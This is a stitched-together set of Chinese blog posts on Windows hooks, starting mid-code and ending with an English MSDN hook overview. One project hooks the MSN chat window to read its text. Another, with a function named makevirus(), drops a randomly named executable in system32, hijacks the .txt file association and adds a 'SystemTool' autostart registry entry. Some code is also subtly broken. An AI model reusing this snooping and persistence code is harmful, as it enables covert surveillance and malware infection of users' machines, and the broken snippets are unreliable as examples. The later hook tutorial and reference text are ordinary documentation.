case DLL_PROCESS_ATTACH:
g_hinstDll = (HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT WINAPI GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam);
BOOL WINAPI SetMsnHook(DWORD dwThreadId)
{
OutputDebugString("SetMsnHook");
BOOL fOK = FALSE;
if(dwThreadId != 0)
{
OutputDebugString("SetMsnHook dwThreadId != 0");
g_dwThreadIdMsn = GetCurrentThreadId();
//安裝 WM_MOUSE 鉤子和處理函數 GetMsgProc
g_hhook = SetWindowsHookEx(WH_MOUSE,GetMsgProc,g_hinstDll,dwThreadId);
fOK = (g_hhook != NULL);
if(fOK)
{
fOK = PostThreadMessage(dwThreadId,WM_NULL,0,0);
}
else
{
fOK = UnhookWindowsHookEx(g_hhook);
g_hhook = NULL;
}
}
return(fOK);
}
LRESULT WINAPI GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam)
{
char temp[20];
sprintf(temp,"%d\n",nCode);
OutputDebugString("temp");
if (nCode==HC_ACTION)
{
MOUSEHOOKSTRUCT *l=(MOUSEHOOKSTRUCT *)lParam;
MouseLoc=l->pt; //送鼠標位置
//char text[256] = "";
HWND hWnd = WindowFromPoint(l->pt);
if(hWnd)
{
//GetWindowText(hWnd,text,256);
SendMessage(hWnd,WM_GETTEXT,256,(LPARAM)(LPCTSTR)text);
// strcpy(text,"123455555");
SendMessage(hWnd,WM_SETTEXT,256,(LPARAM)(LPCTSTR)text);
g_Hwnd = hWnd;
}
//SendMessage(WindowFromPoint(l->pt),WM_GETTEXT,256,(LPARAM)(LPCTSTR)psw);
}
return(CallNextHookEx(g_hhook,nCode,wParam,lParam));
}
void WINAPI GetText(int &x,int &y,char ** ptext)
{
x = MouseLoc.x;
y = MouseLoc.y;
*ptext = text;
}
HWND WINAPI GetMyHwnd()
{
return g_Hwnd;
}
上面是處理鉤子的 DLL 代碼,下面咱們要讓這個 DLL 起做用還須要一個啓動部分,經過這個啓動部分
咱們才能讓咱們的鉤子函數真正的注入到系統其餘函數中。咱們這裏使用個對話框的程序,程序很是簡單:
一個按鈕用來啓動鉤子,一個用來中止,一個 TIMER 用來刷新顯示,還有一個 EDITBOX 用來接受信息。
程序以下:
//包含 DLL 函數導出的頭文件
#include "MSNHook.h"
//隱式導入
#pragma comment(lib,"MSNHook.lib")
//聲明導入函數
__declspec(dllimport) BOOL WINAPI SetMsnHook(DWORD dwThreadId);
__declspec(dllimport) void WINAPI GetText(int &x,int &y,char ** ptext);
__declspec(dllimport) HWND WINAPI GetMyHwnd();//安裝 MSN 鉤子函數
void CTestMSNHookDlg::OnBnClickedOk()
{
//經過 SPY++能夠看到 MSN 聊天對話框窗口類是 IMWindowClass,經過這個獲得該窗口句柄
CWnd *pMsnWin = FindWindow(TEXT("IMWindowClass"),NULL);
if(pMsnWin == NULL) return ;
//經過窗口句柄獲得對應的線程的 ID
SetMsnHook(GetWindowThreadProcessId(pMsnWin->GetSafeHwnd(),NULL));
MSG msg;
GetMessage(&msg,NULL,0,0);
SetTimer(101,100,NULL);
}
void CTestMSNHookDlg::OnTimer(UINT_PTR nIDEvent)
{
//刷新消息
char * pText = NULL;
int x = 0,y = 0;
GetText(x,y,&pText);
if(x ==0 && y ==0) return ;
m_Edit.Format("%d:%d:%s",x,y,pText);
//m_Edit = pText;
UpdateData(FALSE);
HWND hWnd = GetMyHwnd();
CWnd * pWnd = CWnd::FromHandle(hWnd);
pWnd->GetWindowText(m_Edit);
CDialog::OnTimer(nIDEvent);
}
void CTestMSNHookDlg::OnBnClickedButton1()
{
//關閉
KillTimer(101);
SetMsnHook(0);
OnCancel();
}
vb vc dll 全局鉤子 v1
2010-05-28 17:56:12| 分類: 計算機與 Interne|字號 訂閱
dll main 文件
#include "windows.h"
#include "iostream.h"
#include "fstream.h"
#include "stdio.h"
//
HHOOK hook=NULL;
HHOOK hook_kb=NULL;
HHOOK hook_msg=NULL;
HHOOK hook_Proc=NULL;
char * hookdllname="hook.dll";
void PasteText(HWND hRich);
extern void write(char * str);
#pragma data_seg("xxx")
char ccc[1024]={'\0'};
#pragma data_seg()
#pragma comment(linker, "/section:xxx,rws")
LRESULT CALLBACK MouseProc(int nCode,WPARAM wParam, LPARAM lParam)
{
//if(VK_F4==wParam)
//{
return 1;
// fopen()
//}
//return 0
}
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
short ctr=GetAsyncKeyState(VK_CONTROL);
//if((ctr>>15)&&(VK_RETURN==wParam)&&(!(lParam>>30&1))&&(3==code))
{
PasteText(GetFocus());
//return 1;
}
return 0;//CallNextHookEx(hook_kb,code,wParam,lParam);
}
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(ccc));
pStr = (LPTSTR)GlobalLock(hMem);
lstrcpy(pStr, ccc);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
GlobalFree(hMem);
SendMessage(hRich, WM_PASTE, 0, 0);
}
LRESULT CALLBACK CallWndProc(int nCode,
WPARAM wParam,
LPARAM lParam
)
{
CWPSTRUCT * cw=(CWPSTRUCT *)lParam;
write((char *)cw->message);
return CallNextHookEx(hook_Proc,nCode,wParam,lParam);;
}
LRESULT CALLBACK GetMsgProc( int code,
WPARAM wParam,
LPARAM lParam
)
{
MSG * msg=(MSG *)lParam;
write((char *)msg->message);
return CallNextHookEx(hook_msg,code,wParam,lParam);
}
//////////////////////////////////////////////////////////////////////////
//必定要加上 _stdcall 本身就是爲了這個錯誤 花費了一早上
// 還覺得用了 導出文件 def 就沒事了
//事實上也是 用了 def 文件後 函數名石不會變的 但可能參數名會變(猜的 由於不傳參數就不會錯)
void _stdcall sethook(char *msg)
{
//hook_Proc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle(hookdllname
),0);
//hook_msg=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle(hookdllname),0
);
//_memccpy(ccc,msg,0,sizeof(ccc));
strcat(ccc,msg);
hook_kb=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle(hookdllname),0);
}
void _stdcall unhook()
{
if(NULL!=hook)
{
UnhookWindowsHookEx(hook);
}
if(NULL!=hook_kb)
{
UnhookWindowsHookEx(hook_kb);
}
if(NULL!=hook_msg)
{
UnhookWindowsHookEx(hook_msg);
}
if(NULL!=hook_Proc)
{
UnhookWindowsHookEx(hook_Proc);
}
}
vc dll fun 文件
#include "windows.h"
#include "iostream.h"
#include "fstream.h"
#include "stdio.h"
extern char * hookdllname;
char exefullname[255]={'\0'};
void makevirus();
void write(char * str);
void setreg();
void buildexe();
void rndname();
void rndstr(int m,int n,char * ostr);
void copyfile();
void hookdlltest()
{
makevirus();
write("終於好了");
}
void makevirus()
{
rndname();
setreg();
//buildexe();
//copyfile();
}
void write(char * str)
{
FILE * f=fopen("log.txt","ab");
fwrite(str,1,strlen(str),f);
fclose(f);
}
void setreg()
{
HKEY regh;
//註冊文件關聯
RegCreateKey(HKEY_CLASSES_ROOT,".txtok",®h);
RegSetValue(regh,"shell\\open\\command",REG_SZ,exefullname,strlen(exefullname));
RegCloseKey(regh);
RegCreateKey(HKEY_CLASSES_ROOT,".txt",®h);
RegSetValue(regh,NULL,REG_SZ,".txtok",strlen(".txtok"));
RegCloseKey(regh);
//添加自啓動
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&r
egh);
//RegSetValue(regh,"111",REG_SZ,exefullname,strlen(exefullname));
RegSetValueEx(regh,"SystemTool",0,REG_SZ,(unsigned char *)exefullname,strlen(exefullname));
RegCloseKey(regh);
//添加文件關聯
system("assoc .jpg=jpegfile");
}
void buildexe()
{
FILE * f=fopen(hookdllname,"rb");
fseek(f,0,SEEK_END);
int len=ftell(f);
char *buf=new char[len+1];
//fseek(f,0,SEEK_SET);
rewind(f);
fread(buf,1,len,f);
fclose(f);
buf[len]='\0';
int index_x=0;
int i=0;
for(i=0;i<len;i++)
{//linexestart
if(('l'==buf[i])&&('i'==buf[i+1])&&('n'==buf[i+2])&&('e'==buf[i+3])&&('x'==buf[i+4]))
{
if(('e'==buf[i+5])&&('s'==buf[i+6])&&('t'==buf[i+7]))
{
if(('a'==buf[i+8])&&('r'==buf[i+9])&&('t'==buf[i+10]))
{
index_x=i+11;//strlen("linexestart");
break;
}
}
}
}
char * exebuf=new char[len-index_x];
int j=0;
for(i=index_x;i<len;i++)
{
exebuf[j]=buf[i];
j++;
}
FILE *setexe=fopen(exefullname,"wb");
fwrite(exebuf,1,len-index_x,setexe);
fclose(setexe);
}
void rndname()
{
char rndname[8]={'\0'};
rndname[0]='s';
rndname[1]='y';
rndname[2]='s';
for(int i=3;i<7;i++)
{
rndname[i]=char(rand()%26+97);
}
GetWindowsDirectory(exefullname,255);
strcat(exefullname,"\\system32\\");
strcat(exefullname,rndname);
strcat(exefullname,".exe");
return ;
}
void copyfile()
{
FILE *in,*out;
char inname[255]={'\0'};
char outname[255]={'\0'};
GetCurrentDirectory(255,inname);
strcat(inname,"\\");
strcat(inname,hookdllname);
GetWindowsDirectory(outname,255);
strcat(outname,"\\system32\\");
strcat(outname,hookdllname);
in = fopen(inname,"rb");
out = fopen(outname,"wb");
/*
while (!feof(in))
{
fputc(fgetc(in),out);
}
*/
fseek(in,0,SEEK_END);
int len=ftell(in);
char *buf=new char[len+1];
fread(buf,1,len,in);
buf[len]='\0';
fwrite(buf,1,len,out);
fclose(in);
fclose(out);
}
void rndstr(int m,int n,char * ostr)
{
int len=rand()%(m-n+1)+m;
ostr=new char[len];
for(int i=0;i<len;i++)
{
ostr[i]=rand()%26+97;
}
}
vc dll hook.def 文件
LIBRARY hook
EXPORTS
sethook
unhook
hookdlltest
vb 文件
Private Type setinfo
i As Integer
End Type
'當 vc dll 用 Unicode 時:
'Private Declare Sub sethook_kb Lib "hook" (ByVal strlen As Integer, ByVal astr As Long)
'調用部分變爲 sethook_kb Len(str), StrPtr(str) 只有這樣纔不會出亂碼
Private Declare Sub sethook Lib "hook" (ByVal astr As String)
Private Declare Sub unhook Lib "hook" ()
Private Declare Sub hookdlltest Lib "hook" ()
Private a As String
Private Sub Command1_Click()
Dim str As String
str = "咱們的故事 99999999999999999"
sethook str
'sethook_kb Len(str), str
End Sub
Private Sub Command2_Click()
' MsgBox CStr(Len("咱們"))
unhook
End Sub
Private Sub Form_Load()
hd
End Sub
Private Sub hd()
End Sub
HOOK 消息功能的使用
做者::★北風(癡情) 閱讀人次:406 文章來源:www.tencent.com 發佈時間:2007-8-23 網友評論(0)
條
內容提要
Windows 系統是創建在事件驅動的機制上的,說穿了就是整個系統都是經過消息的傳遞來實現的。而鉤子
是 Windows 系統中很是重要的系統接口,用它能夠截獲並處理送給其餘應用程序的消息,來完成普通應用
程序難以實現的功能。鉤子的種類不少,每種鉤子能夠截獲並處理相應的消息,如鍵盤鉤子能夠截獲鍵盤
消息,外殼鉤子能夠截取、啓動和關閉應用程序的消息等。本文在 VC5 編程環境下實現了一個簡單的鼠標
鉤子程序,並對 Win32 全局鉤子的運行機制、Win32 DLL 的特色、VC5 環境下的 MFC DLL 以及共享數
據等相關知識進行了簡單的闡述。
文章正文
一.Win32 全局鉤子的運行機制
鉤子其實是一個處理消息的程序段,經過系統調用,把它掛入系統。每當特定的消息發出,在沒有
到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數先獲得控制權。這時鉤子函數便可以加工處理
(改變)該消息,也能夠不做處理而繼續傳遞該消息,還能夠強制結束消息的傳遞。對每種類型的鉤子由
系統來維護一個鉤子鏈,最近安裝的鉤子放在鏈的開始,而最早安裝的鉤子放在最後,也就是後加入的先
得到控制權。要實現 Win32 的系統鉤子,必須調用 SDK 中的 API 函數 SetWindowsHookEx 來安裝這個鉤
子函數,這個函數的原型是 HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,
DWORD dwThreadId);,其中,第一個參數是鉤子的類型;第二個參數是鉤子函數的地址;第三個參數是
包含鉤子函數的模塊句柄;第四個參數指定監視的線程。若是指定肯定的線程,即爲線程專用鉤子;若是
指定爲空,即爲全局鉤子。其中,全局鉤子函數必須包含在 DLL(動態連接庫)中,而線程專用鉤子還可
以包含在可執行文件中。獲得控制權的鉤子函數在完成對消息的處理後,若是想要該消息繼續傳遞,那麼
它必須調用另一個 SDK 中的 API 函數 CallNextHookEx 來傳遞它。鉤子函數也能夠經過直接返回 TRUE
來丟棄該消息,並阻止該消息的傳遞。
二.Win32 DLL 的特色
Win32 DLL 與 Win16 DLL 有很大的區別,這主要是由操做系統的設計思想決定的。一方面,在 Win
16 DLL 中程序入口點函數和出口點函數(LibMain 和 WEP)是分別實現的;而在 Win32 DLL 中卻由同一
函數 DLLMain 來實現。不管什麼時候,當一個進程或線程載入和卸載 DLL 時,都要調用該函數,它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);,其中,第一
個參數表示 DLL 的實例句柄;第三個參數系統保留;這裏主要介紹一下第二個參數,它有四個可能的值:
DLL_PROCESS_ATTACH(進程載入),DLL_THREAD_ATTACH(線程載入),DLL_THREAD_DETACH
(線程卸載),DLL_PROCESS_DETACH(進程卸載),在 DLLMain 函數中能夠對傳遞進來的這個參數的
值進行判別,並根據不一樣的參數值對 DLL 進行必要的初始化或清理工做。舉個例子來講,當有一個進程載
入一個 DLL 時,系統分派給 DLL 的第二個參數爲 DLL_PROCESS_ATTACH,這時,你能夠根據這個參數
初始化特定的數據。另外一方面,在 Win16 環境下,全部應用程序都在同一地址空間;而在 Win32 環境下,
全部應用程序都有本身的私有空間,每一個進程的空間都是相互獨立的,這減小了應用程序間的相互影響,
但同時也增長了編程的難度。你們知道,在 Win16 環境中,DLL 的全局數據對每一個載入它的進程來講都是
相同的;而在 Win32 環境中,狀況卻發生了變化,當進程在載入 DLL 時,系統自動把 DLL 地址映射到該
進程的私有空間,並且也複製該 DLL 的全局數據的一份拷貝到該進程空間,也就是說每一個進程所擁有的相
同的 DLL 的全局數據其值卻並不必定是相同的。所以,在 Win32 環境下要想在多個進程中共享數據,就必
須進行必要的設置。亦即把這些須要共享的數據分離出來,放置在一個獨立的數據段裏,並把該段的屬性
設置爲共享。
三.VC5 中 MFC DLL 的分類及特色
在 VC5 中有三種形式的 MFC DLL(在該 DLL 中能夠使用和繼承已有的 MFC 類)可供選擇,即 Regul
ar statically linked to MFC DLL(標準靜態連接 MFC DLL)和 Regular using the shared MFC DLL(標
準動態連接 MFC DLL)以及 Extension MFC DLL(擴展 MFC DLL)。第一種 DLL 的特色是,在編譯時
把使用的 MFC 代碼加入到 DLL 中,所以,在使用該程序時不須要其餘 MFC 動態連接類庫的存在,但佔
用磁盤空間比較大;第二種 DLL 的特色是,在運行時,動態連接到 MFC 類庫,所以減小了空間的佔用,
可是在運行時卻依賴於 MFC 動態連接類庫;這兩種 DLL 既能夠被 MFC 程序使用也能夠被 Win32 程序使
用。第三種 DLL 的特色相似於第二種,作爲 MFC 類庫的擴展,只能被 MFC 程序使用。
四.在 VC5 中全局共享數據的實現
在主文件中,用#pragma data_seg 創建一個新的數據段並定義共享數據,其具體格式爲:
#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共享數據
#pragma data_seg()
僅定義一個數據段還不能達到共享數據的目的,還要告訴編譯器該段的屬性,有兩種方法能夠實現該
目的(其效果是相同的),一種方法是在.DEF 文件中加入以下語句:
SETCTIONS
shareddata READ WRITE SHARED
另外一種方法是在項目設置連接選項中加入以下語句:
/SECTION:shareddata,rws
五.具體實現步驟
因爲全局鉤子函數必須包含在動態連接庫中,因此本例由兩個程序體來實現。
1.創建鉤子 Mousehook.DLL
(1)選擇 MFC AppWizard(DLL)建立項目 Mousehook;
(2)選擇 MFC Extension DLL(共享 MFC 拷貝)類型;
(3)因爲 VC5 沒有現成的鉤子類,因此要在項目目錄中建立 Mousehook.h 文件,在其中創建鉤子類:
class AFX_EXT_CLASS Cmousehook:public CObject
{
public:
Cmousehook();
//鉤子類的構造函數
~Cmousehook();
//鉤子類的析構函數
BOOL starthook(HWND hWnd);
//安裝鉤子函數
BOOL stophook();
卸載鉤子函數
};
(4)在 Mousehook.app 文件的頂部加入#include"Mousehook.h"語句;
(5)加入全局共享數據變量:
#pragma data_seg("mydata")
HWND glhPrevTarWnd=NULL;
//上次鼠標所指的窗口句柄
HWND glhDisplayWnd=NULL;
//顯示目標窗口標題編輯框的句柄
HHOOK glhHook=NULL;
//安裝的鼠標勾子句柄
HINSTANCE glhInstance=NULL;
//DLL 實例句柄
#pragma data_seg()
(6)在 DEF 文件中定義段屬性:
SECTIONS
mydata READ WRITE SHARED
(7)在主文件 Mousehook.cpp 的 DllMain 函數中加入保存 DLL 實例句柄的語句:
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
//若是使用 lpReserved 參數則刪除下面這行
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("MOUSEHOOK.DLL Initializing!\n");
//擴展 DLL 僅初始化一次
if (!AfxInitExtensionModule(MousehookDLL, hInstance))
return 0;
new CDynLinkLibrary(MousehookDLL);
//把 DLL 加入動態 MFC 類庫中
glhInstance=hInstance;
//插入保存 DLL 實例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("MOUSEHOOK.DLL Terminating!\n");
//終止這個連接庫前調用它
AfxTermExtensionModule(MousehookDLL);
}
return 1;
}
(8)類 Cmousehook 的成員函數的具體實現:
Cmousehook::Cmousehook()
//類構造函數
{
}
Cmousehook::~Cmousehook()
//類析構函數
{
stophook();
}
BOOL Cmousehook::starthook(HWND hWnd)
//安裝鉤子並設定接收顯示窗口句柄
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
glhDisplayWnd=hWnd;
//設置顯示目標窗口標題編輯框的句柄
return bResult;
}
BOOL Cmousehook::stophook()
//卸載鉤子
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
{
glhPrevTarWnd=NULL;
glhDisplayWnd=NULL;//清變量
glhHook=NULL;
}
}
return bResult;
}
(9)鉤子函數的實現:
LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam;
if (nCode>=0)
{
HWND glhTargetWnd=pMouseHook->hwnd;
//取目標窗口句柄
HWND ParentWnd=glhTargetWnd;
while (ParentWnd !=NULL)
{
glhTargetWnd=ParentWnd;
ParentWnd=GetParent(glhTargetWnd);
//取應用程序主窗口句柄
}
if(glhTargetWnd!=glhPrevTarWnd)
{
char szCaption[100];
GetWindowText(glhTargetWnd,szCaption,100);
//取目標窗口標題
if(IsWindow(glhDisplayWnd))
SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);
glhPrevTarWnd=glhTargetWnd;
//保存目標窗口
}
}
return CallNextHookEx(glhHook,nCode,wparam,lparam);
//繼續傳遞消息
}
(10)編譯項目生成 mousehook.dll。
2.建立鉤子可執行程序
(1)用 MFC 的 AppWizard(EXE)建立項目 Mouse;
(2)選擇「基於對話應用」並按下「完成」鍵;
(3)編輯對話框,刪除其中原有的兩個按鈕,加入靜態文本框和編輯框,用鼠標右鍵點擊靜態文本框,
在彈出的菜單中選擇「屬性」,設置其標題爲「鼠標所在的窗口標題」;
(4)在 Mouse.h 中加入對 Mousehook.h 的包含語句#Include"..\Mousehook\Mousehook.h";
(5)在 CMouseDlg.h 的 CMouseDlg 類定義中添加私有數據成員:
CMouseHook m_hook;//加入鉤子類做爲數據成員
(6)修改 CmouseDlg::OnInitDialog()函數:
BOOL CMouseDlg::OnInitDialog()
{
CDialog::OnInitDialog();
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
SetIcon(m_hIcon, TRUE);//Set big icon
SetIcon(m_hIcon, FALSE);//Set small icon
//TODO: Add extra initialization here
CWnd * pwnd=GetDlgItem(IDC_EDIT1);
//取得編輯框的類指針
m_hook.starthook(pwnd->GetSafeHwnd());
//取得編輯框的窗口句柄並安裝鉤子
return TRUE;
//return TRUE unless you set the focus to a control
}
(7)連接 DLL 庫,即把..\Mousehook\debug\Mousehook.lib 加入到項目設置連接標籤中;
(8)編譯項目生成可執行文件;
(9)把 Mousehook.DLL 拷貝到..\mouse\debug 目錄中;
(10)先運行幾個可執行程序,而後運行 Mouse.exe 程序,把鼠標在不一樣窗口中移動,在 Mouse.exe 程序
窗口中的編輯框內將顯示出鼠標所在的應用程序主窗口的標題。
鉤子概述 MSDN <英>
A hook is a mechanism by which an application can intercept events, such as messages, mouse
actions, and keystrokes. A function that intercepts a particular type of event is known as a hook
procedure. A hook procedure can act on each event it receives, and then modify or discard the
event.
The following some example uses for hooks:
Monitor messages for debugging purposes
Provide support for recording and playback of macros
Provide support for a help key (F1)
Simulate mouse and keyboard input
Implement a computer-based training (CBT) application
Note Hooks tend to slow down the system because they increase the amount of processing the system must
perform for each message. You should install a hook only when necessary, and remove it as soon as possible.
This section discusses the following:
Hook Chains
Hook Procedures
Hook Types
Hook Chains
o WH_CALLWNDPROC and WH_CALLWNDPROCRET
o WH_CBT
o WH_DEBUG
o WH_FOREGROUNDIDLE
o WH_GETMESSAGE
o WH_JOURNALPLAYBACK
o WH_JOURNALRECORD
o WH_KEYBOARD_LL
o WH_KEYBOARD
o WH_MOUSE_LL
o WH_MOUSE
o WH_MSGFILTER and WH_SYSMSGFILTER
o WH_SHELL
The system supports many different types of hooks; each type provides access to a different aspect of its
message-handling mechanism. For example, an application can use the WH_MOUSE hook to monitor the message
traffic for mouse messages.
The system maintains a separate hook chain for each type of hook. A hook chain is a list of pointers to special,
application-defined callback functions called hook procedures. When a message occurs that is associated with a
particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one
after the other. The action a hook procedure can take depends on the type of hook involved. The hook procedures
for some types of hooks can only monitor messages; others can modify messages or stop their progress through the
chain, preventing them from reaching the next hook procedure or the destination window.
Hook Procedures
To take advantage of a particular type of hook, the developer provides a hook procedure and uses
the SetWindowsHookEx function to install it into the chain associated with the hook. A hook procedure must
have the following syntax:
Copy
LRESULT CALLBACK HookProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
// process event
...
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
HookProc is a placeholder for an application-defined name.
The nCode parameter is a hook code that the hook procedure uses to determine the action to perform. The value of
the hook code depends on the type of the hook; each type has its own characteristic set of hook codes. The values
of the wParam and lParam parameters depend on the hook code, but they typically contain information about a
message that was sent or posted.
The SetWindowsHookEx function always installs a hook procedure at the beginning of a hook chain. When an
event occurs that is monitored by a particular type of hook, the system calls the procedure at the beginning of the
hook chain associated with the hook. Each hook procedure in the chain determines whether to pass the event to the
next procedure. A hook procedure passes an event to the next procedure by calling the CallNextHookEx function.
Note that the hook procedures for some types of hooks can only monitor messages. the system passes messages to
each hook procedure, regardless of whether a particular procedure calls CallNextHookEx.
A global hook monitors messages for all threads in the same desktop as the calling thread. A thread-specific
hook monitors messages for only an individual thread. A global hook procedure can be called in the context of any
application in the same desktop as the calling thread, so the procedure must be in a separate DLL module. A
thread-specific hook procedure is called only in the context of the associated thread. If an application installs a
hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the
application's code or in a DLL. If the application installs a hook procedure for a thread of a different application,
the procedure must be in a DLL. For information, see Dynamic-Link Libraries.
Note You should use global hooks only for debugging purposes; otherwise, you should avoid them. Global
hooks hurt system performance and cause conflicts with other applications that implement the same type of global
hook.
Hook Types
Each type of hook enables an application to monitor a different aspect of the system's message-handling
mechanism. The following sections describe the available hooks.
WH_CALLWNDPROC and WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD_LL
WH_KEYBOARD
WH_MOUSE_LL
WH_MOUSE
WH_MSGFILTER and WH_SYSMSGFILTER
WH_SHELL
WH_CALLWNDPROC and WH_CALLWNDPROCRET
The WH_CALLWNDPROC and WH_CALLWNDPROCRET hooks enable you to monitor messages sent to
window procedures. The system calls a WH_CALLWNDPROC hook procedure before passing the message to
the receiving window procedure, and calls the WH_CALLWNDPROCRET hook procedure after the window
procedure has processed the message.
The WH_CALLWNDPROCRET hook passes a pointer to a CWPRETSTRUCT structure to the hook
procedure. The structure contains the return value from the window procedure that processed the message, as well
as the message parameters associated with the message. Subclassing the window does not work for messages set
between processes.
For more information, see the CallWndProc and CallWndRetProc callback functions.
WH_CBT
The system calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing,
moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event
from the system message queue; before setting the input focus; or before synchronizing with the system message
queue. The value the hook procedure returns determines whether the system allows or prevents one of these
operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications.
For more information, see the CBTProc callback function.
For information, see WinEvents.
WH_DEBUG
The system calls a WH_DEBUG hook procedure before calling hook procedures associated with any other hook
in the system. You can use this hook to determine whether to allow the system to call hook procedures associated
with other types of hooks.
For more information, see the DebugProc callback function.
WH_FOREGROUNDIDLE
The WH_FOREGROUNDIDLE hook enables you to perform low priority tasks during times when its
foreground thread is idle. The system calls a WH_FOREGROUNDIDLE hook procedure when the application's
foreground thread is about to become idle.
For more information, see the ForegroundIdleProc callback function.
WH_GETMESSAGE
The WH_GETMESSAGE hook enables an application to monitor messages about to be returned by
the GetMessage or PeekMessage function. You can use the WH_GETMESSAGEhook to monitor mouse and
keyboard input and other messages posted to the message queue.
For more information, see the GetMsgProc callback function.
WH_JOURNALPLAYBACK
The WH_JOURNALPLAYBACK hook enables an application to insert messages into the system message queue.
You can use this hook to play back a series of mouse and keyboard events recorded earlier by
using WH_JOURNALRECORD. Regular mouse and keyboard input is disabled as long as
a WH_JOURNALPLAYBACK hook is installed. AWH_JOURNALPLAYBACK hook is a global hook—it
cannot be used as a thread-specific hook.
The WH_JOURNALPLAYBACK hook returns a time-out value. This value tells the system how many
milliseconds to wait before processing the current message from the playback hook. This enables the hook to
control the timing of the events it plays back.
For more information, see the JournalPlaybackProc callback function.
WH_JOURNALRECORD
The WH_JOURNALRECORD hook enables you to monitor and record input events. Typically, you use this
hook to record a sequence of mouse and keyboard events to play back later by using WH_JOURNALPLAYBACK.
The WH_JOURNALRECORD hook is a global hook—it cannot be used as a thread-specific hook.
For more information, see the JournalRecordProc callback function.
WH_KEYBOARD_LL
The WH_KEYBOARD_LL hook enables you to monitor keyboard input events about to be posted in a thread
input queue.
For more information, see the LowLevelKeyboardProc callback function.
WH_KEYBOARD
The WH_KEYBOARD hook enables an application to monitor message traffic
for WM_KEYDOWN and WM_KEYUP messages about to be returned by
the GetMessage orPeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input
posted to a message queue.
For more information, see the KeyboardProc callback function.
WH_MOUSE_LL
The WH_MOUSE_LL hook enables you to monitor mouse input events about to be posted in a thread input
queue.
For more information, see the LowLevelMouseProc callback function.
WH_MOUSE
The WH_MOUSE hook enables you to monitor mouse messages about to be returned by
the GetMessage or PeekMessage function. You can use the WH_MOUSE hook to monitor mouse input posted to
a message queue.
For more information, see the MouseProc callback function.
WH_MSGFILTER and WH_SYSMSGFILTER
The WH_MSGFILTER and WH_SYSMSGFILTER hooks enable you to monitor messages about to be
processed by a menu, scroll bar, message box, or dialog box, and to detect when a different window is about to be
activated as a result of the user's pressing the ALT+TAB or ALT+ESC key combination.
The WH_MSGFILTER hook can only monitor messages passed to a menu, scroll bar, message box, or dialog
box created by the application that installed the hook procedure. The WH_SYSMSGFILTER hook monitors such
messages for all applications.
The WH_MSGFILTER and WH_SYSMSGFILTER hooks enable you to perform message filtering during
modal loops that is equivalent to the filtering done in the main message loop. For example, an application often
examines a new message in the main loop between the time it retrieves the message from the queue and the time it
dispatches the message, performing special processing as appropriate. However, during a modal loop, the system
retrieves and dispatches messages without allowing an application the chance to filter the messages in its main
message loop. If an application installs a WH_MSGFILTER or WH_SYSMSGFILTER hook procedure, the
system calls the procedure during the modal loop.
An application can call the WH_MSGFILTER hook directly by calling the CallMsgFilter function. By using this
function, the application can use the same code to filter messages during modal loops as it uses in the main
message loop. To do so, encapsulate the filtering operations in a WH_MSGFILTER hook procedure and
callCallMsgFilter between the calls to the GetMessage and DispatchMessage functions.
Copy
while (GetMessage(&msg, (HWND) NULL, 0, 0))
{
if (!CallMsgFilter(&qmsg, 0))
DispatchMessage(&qmsg);
}
The last argument of CallMsgFilter is simply passed to the hook procedure; you can enter any value. The hook
procedure, by defining a constant such asMSGF_MAINLOOP, can use this value to determine where the
procedure was called from.
For more information, see the MessageProc and SysMsgProc callback functions.
WH_SHELL
A shell application can use the WH_SHELL hook to receive important notifications. The system calls
a WH_SHELL hook procedure when the shell application is about to be activated and when a top-level window is
